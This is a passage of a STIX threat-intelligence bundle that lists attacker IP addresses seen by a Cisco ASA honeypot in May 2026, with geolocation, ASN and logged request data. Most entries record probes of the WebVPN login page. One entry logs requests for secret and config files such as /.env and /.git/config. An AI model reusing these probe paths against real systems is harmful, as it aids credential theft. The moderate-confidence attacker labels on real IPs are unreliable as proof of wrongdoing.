      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.130.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T02:20:10.000Z",
      "valid_until": "2026-07-02T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-31T01:23:14.758Z",
          "last_seen": "2026-05-31T01:23:32.515Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--d1b0e5f6-5d49-42c1-b6dc-60b25452af28",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.40.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T02:20:10.000Z",
      "valid_until": "2026-07-02T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-31T02:16:53.831Z",
          "last_seen": "2026-05-31T02:17:10.324Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--c671112b-9d37-4c18-950d-cf936738cce7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '50.118.198.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T02:20:10.000Z",
      "valid_until": "2026-07-02T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T18:30:19.619Z",
          "last_seen": "2026-05-31T02:09:41.107Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--ffe269a7-b1a9-4c79-af22-7d56f3a905d3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '80.73.244.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T02:20:10.000Z",
      "valid_until": "2026-07-02T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-31T02:04:04.186Z",
          "last_seen": "2026-05-31T02:04:16.942Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--4d67e99a-37cd-410b-bbb9-95570d1aeb8a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.161.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T03:20:10.000Z",
      "valid_until": "2026-07-02T03:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-30T05:09:53.622Z",
          "last_seen": "2026-05-31T03:06:59.407Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--57520bf9-ffe4-475a-92ab-8b6bdad3ade5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.163.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T03:20:10.000Z",
      "valid_until": "2026-07-02T03:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-31T02:47:49.735Z",
          "last_seen": "2026-05-31T02:48:08.356Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--242e738a-7541-4ddd-a466-3a55831953fe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T03:20:10.000Z",
      "valid_until": "2026-07-02T03:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-29T20:57:56.116Z",
          "last_seen": "2026-05-31T03:09:34.247Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T04:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--27c2c4da-9bc5-44b3-ac40-47c80b58bcd1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.46.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T04:20:24.000Z",
      "valid_until": "2026-07-02T04:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-31T04:13:08.725Z",
          "last_seen": "2026-05-31T04:13:21.186Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T04:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--f86c206f-cd18-405e-9397-6a7c06c8a715",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.177.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T04:20:24.000Z",
      "valid_until": "2026-07-02T04:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-31T04:03:08.011Z",
          "last_seen": "2026-05-31T04:03:20.202Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T04:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--b1935a38-69b9-4bcf-80fb-911c558f539d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '170.168.215.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T04:20:24.000Z",
      "valid_until": "2026-07-02T04:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-31T03:50:32.076Z",
          "last_seen": "2026-05-31T03:50:48.584Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T04:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--3efda83f-a28e-4fe0-be4d-31006087a795",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.157.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T04:20:24.000Z",
      "valid_until": "2026-07-02T04:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-31T03:33:08.018Z",
          "last_seen": "2026-05-31T03:33:24.907Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T04:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--09e9acef-b49e-4c2c-a066-af13ee166039",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T04:20:24.000Z",
      "valid_until": "2026-07-02T04:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-31T04:15:48.007Z",
          "last_seen": "2026-05-31T04:15:48.007Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    }
  ],
  "spec_version": "2.1",
  "type": "bundle",
  "x_nadsec_enrichment": {
    "enriched_at": "2026-05-31T23:49:05.855546+00:00",
    "sensor": "ciscoasa",
    "sensor_type": "firewall_vpn_honeypot",
    "month": "2026-05",
    "ip_count": 1825,
    "total_attacks": 35778,
    "indicators_enriched": 1892
  },
  "x_nadsec_ip_context": {
    "89.37.63.38": {
      "attack_count": 189,
      "first_seen": "2026-05-08T19:04:30.129Z",
      "last_seen": "2026-05-31T02:58:35.058Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "178.130.47.230": {
      "attack_count": 68,
      "first_seen": "2026-05-08T20:34:44.125Z",
      "last_seen": "2026-05-31T05:20:58.239Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp"
    },
    "141.98.255.135": {
      "attack_count": 45,
      "first_seen": "2026-05-08T10:44:05.922Z",
      "last_seen": "2026-05-29T19:08:00.544Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Malmo",
      "asn": 39351,
      "as_org": "31173 Services AB"
    },
    "209.38.208.202": {
      "attack_count": 44,
      "first_seen": "2026-05-02T07:33:56.486Z",
      "last_seen": "2026-05-02T07:35:20.709Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /.DS_Store HTTP/1.1\" 404 -",
        "\"GET /.env HTTP/1.1\" 404 -",
        "\"GET /.git/config HTTP/1.1\" 404 -",
        "\"GET /.vscode/sftp.json HTTP/1.1\" 404 -",
        "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
        "\"GET /?rest_route=/wp/v2/users/ HTTP/1.1\" 404 -",
        "\"GET /@vite/env HTTP/1.1\" 404 -",
        "\"GET /___proxy_subdomain_cpanel HTTP/1.1\" 404 -",
        "\"GET /___proxy_subdomain_whm/login HTTP/1.1\" 404 -",
        "\"GET /about HTTP/1.1\" 404 -",
        "\"GET /actuator/env HTTP/1.1\" 404 -",
        "\"GET /api-docs/swagger.json HTTP/1.1\" 404 -",
        "\"GET /api/swagger.json HTTP/1.1\" 404 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /console/ HTTP/1.1\" 404 -",
        "\"GET /debug/default/view?panel=config HTTP/1.1\" 404 -",
        "\"GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1\" 404 -",
        "\"GET /info.php HTTP/1.1\" 404 -",
        "\"GET /login.action HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "156.229.255.61": {
      "attack_count": 42,
      "first_seen": "2026-05-23T18:35:31.758Z",
      "last_seen": "2026-05-30T15:38:04.236Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.98.86": {
      "attack_count": 39,
      "first_seen": "2026-05-04T23:20:17.512Z",
      "last_seen": "2026-05-30T00:27:12.523Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.75.203": {
      "attack_count": 33,
      "first_seen": "2026-05-03T12:26:26.042Z",
      "last_seen": "2026-05-29T12:15:01.421Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.97.86": {
      "attack_count": 33,
      "first_seen": "2026-05-05T14:33:45.734Z",
      "last_seen": "2026-05-29T00:53:54.518Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.77.206": {
      "attack_count": 27,
      "first_seen": "2026-05-07T09:32:58.849Z",
      "last_seen": "2026-05-25T19:04:40.621Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.83.220.219": {
      "attack_count": 27,
      "first_seen": "2026-05-08T11:18:37.357Z",
      "last_seen": "2026-05-20T14:18:20.921Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Malm\u00f6",
      "asn": 39351,
      "as_org": "31173 Services AB"
    },
    "146.70.172.97": {
      "attack_count": 24,
      "first_seen": "2026-05-08T21:18:28.914Z",
      "last_seen": "2026-05-29T01:33:10.526Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "68.235.46.213": {
      "attack_count": 22,
      "first_seen": "2026-05-06T03:30:18.624Z",
      "last_seen": "2026-05-30T07:50:04.847Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.102.246.195": {
      "attack_count": 21,
      "first_seen": "2026-05-02T07:44:37.681Z",
      "last_seen": "2026-05-26T02:51:59.719Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "109.94.217.233": {
      "attack_count": 21,
      "first_seen": "2026-05-27T22:01:31.498Z",
      "last_seen": "2026-05-29T22:56:07.198Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "155.212.102.54": {
      "attack_count": 21,
      "first_seen": "2026-05-28T00:14:37.843Z",
      "last_seen": "2026-05-30T14:22:17.054Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Stanwood",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "194.59.12.34": {
      "attack_count": 21,
      "first_seen": "2026-05-26T04:49:43.635Z",
      "last_seen": "2026-05-30T13:13:00.919Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.158.44.238": {
      "attack_count": 21,
      "first_seen": "2026-05-26T03:15:37.049Z",
      "last_seen": "2026-05-29T04:33:27.889Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 395092,
      "as_org": "Shock Hosting LLC"
    },
    "23.159.216.80": {
      "attack_count": 18,
      "first_seen": "2026-05-05T15:38:34.527Z",
      "last_seen": "2026-05-26T00:04:17.631Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17243,
      "as_org": "Byte Node LLC"
    },
    "23.234.100.80": {
      "attack_count": 18,
      "first_seen": "2026-05-20T01:53:43.416Z",
      "last_seen": "2026-05-31T04:57:05.744Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
